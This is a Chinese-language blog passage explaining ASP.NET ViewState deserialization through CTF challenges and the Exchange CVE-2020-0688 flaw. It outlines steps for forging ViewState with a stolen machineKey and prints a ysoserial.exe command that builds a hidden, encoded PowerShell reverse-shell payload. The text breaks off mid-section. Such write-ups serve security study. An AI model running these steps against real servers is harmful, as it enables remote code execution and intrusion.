1. 从CTF题目认识ViewState反序列化漏洞
第一次接触ASP.NET的ViewState反序列化漏洞是在BJDCTF的Web题里。那道题看似普通的文件上传功能,背后却隐藏着ViewState这个"状态存储器"的安全隐患。当时我花了整整两天时间才搞明白,为什么一个简单的Base64编码字符串就能让服务器执行任意命令。
ViewState本质上是个隐藏字段,ASP.NET用它来保存页面控件的状态。当你点击网页上的按钮时,服务器需要知道按钮之前是什么状态——这就是ViewState的职责。但问题在于,这个字段默认使用LosFormatter或ObjectStateFormatter进行序列化,而这两种格式化器都存在反序列化漏洞的风险。
在HITCON 2018的CTF中,参赛者需要通过上传shtml文件读取web.config,获取machineKey等关键信息。这就像拿到了保险箱的密码本:
<machineKey
validationKey="47A7D23AF52BEF07..."
decryptionKey="B0E528C949E59127..."
validation="SHA1"/>
有了这些密钥,攻击者就能伪造合法的ViewState。我当时用ysoserial.net生成payload时踩了个坑:直接使用ObjectStateFormatter会报错,后来发现需要用LosFormatter绕过MAC验证。这个细节在微软文档里根本找不到,是在反编译ASP.NET源码时才发现的玄机。
2. CVE-2020-0688漏洞的实战分析
2020年爆出的Exchange漏洞CVE-2020-0688堪称ViewState漏洞的"教科书案例"。这个漏洞的特殊之处在于:所有Exchange服务器使用相同的machineKey!这意味着只要拿到一个服务器的密钥,就能攻击全球任何未打补丁的Exchange。
漏洞利用过程分为三步走:
- 通过SSRF或XSS获取web.config(包含machineKey)
- 用ysoserial生成TypeConfuseDelegate链的payload
- 将恶意ViewState通过Cookie或__VIEWSTATE参数提交
我本地搭建Exchange 2016测试时,用这个命令生成反弹shell:
ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell -nop -w hidden -e JABjAD0..."
实际攻击中最麻烦的是.NET版本适配问题。比如在Exchange 2019上,原来的payload会因为程序集加载失败而失效。这时候就需要改用ActivitySurrogateSelector链,这也是为什么BJDCTF那道题要提供自定义的ExploitClass.cs。
3. ViewState的安全机制与绕过技巧
ASP.NET为ViewState设计了三道安全防线,但每

526

被折叠的 条评论
为什么被折叠?



